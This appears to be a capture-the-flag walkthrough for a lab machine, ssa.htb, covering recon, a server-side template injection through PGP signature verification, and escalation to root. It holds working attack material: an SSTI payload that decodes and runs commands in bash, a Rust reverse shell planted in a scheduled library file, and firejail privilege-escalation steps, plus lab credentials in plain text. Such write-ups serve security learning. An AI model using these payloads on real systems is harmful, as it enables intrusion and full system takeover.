Introduction
In this walkthrough , I’m going to explain how I pwned this medium box . This is very interesting box . Let’s start 🙂
Recon
NMAP
In the Nmap scan we found that there are three ports open ( Port 22, 80, 443)
Basically SSH and HTTP and HTTPS
Adding IP
While visiting the IP we see that we have to add ssa.htb to our /etc/hosts file .
Foothold
Directory Enum
I found many interesting directories
Let’s start enumerating
I have tried many things after few research I found that it is vulnerable to SSTI.
First generate pgp keys
// First
gpg --gen-key
Here username will be our SSTI payload
// Second
gpg --armor --export test@t.t
// Third
echo "aa a" | gpg --clear-sign -u test@t.t
Now go to /guide and look at the verify signature section
Enter your public key and signed text
Now verify the signature
You can see our SSTI is successful .
Now lets enter our payload to get shell
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo $PAYLOAD_IN_B64 | base64 -d | bash').read() }}
After executing this we will get our cmd executed
User
Now we are atlas user , in ~/.config/httpie/sessions/localhost_5000
I found the creds for silentobserver
Now SSH as Silentobserver
Advertisement
//Creds
silentobserver:quietLiketheWind22
And read user.txt
Root
Root is pretty interesting 🙂
In the /opt repo I found intresting dir
After running pspy I found that /opt/crates/logger/src/lib.rs is running after every few min
I have done few research and found the solution
//Just put the below code in lib.rs
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
let sock = TcpStream::connect("$IP:4444").unwrap();
// a tcp socket as a raw file descriptor
// a file descriptor is the number that uniquely identifies an open file in a computer's operating system
// When a program asks to open a file/other resource (network socket, etc.) the kernel:
// 1. Grants access
// 2. Creates an entry in the global file table
// 3. Provides the software with the location of that entry (file descriptor)
// https://www.computerhope.com/jargon/f/file-descriptor.htm
let fd = sock.as_raw_fd();
// so basically, writing to a tcp socket is just like writing something to a file!
// the main difference being that there is a client over the network reading the file at the same time!
Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
https://doc.rust-lang.org/std/process/struct.Command.html#method.new
Start the listner and you will get the shell
New group id is assigned to us 1002(jailer)
There is a firejail vulnerabilty
https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
use this exploit.py and give it permission as silentobserver
Now get 2 shell of atlas user with jailer group assigned
// In first shell, RUN
python3 exploit.py
//In second shell, RUN
firejail --join=$ID
su -
Make sure you upgrade the shell before this
Second shell
GG now you are root ! 🙂
Conclusion
This is very fun box ! Hope you enjoyed the writeup 🙂
Overall I would like to rate this box 8/10.
Jai Shree Krishna ❤️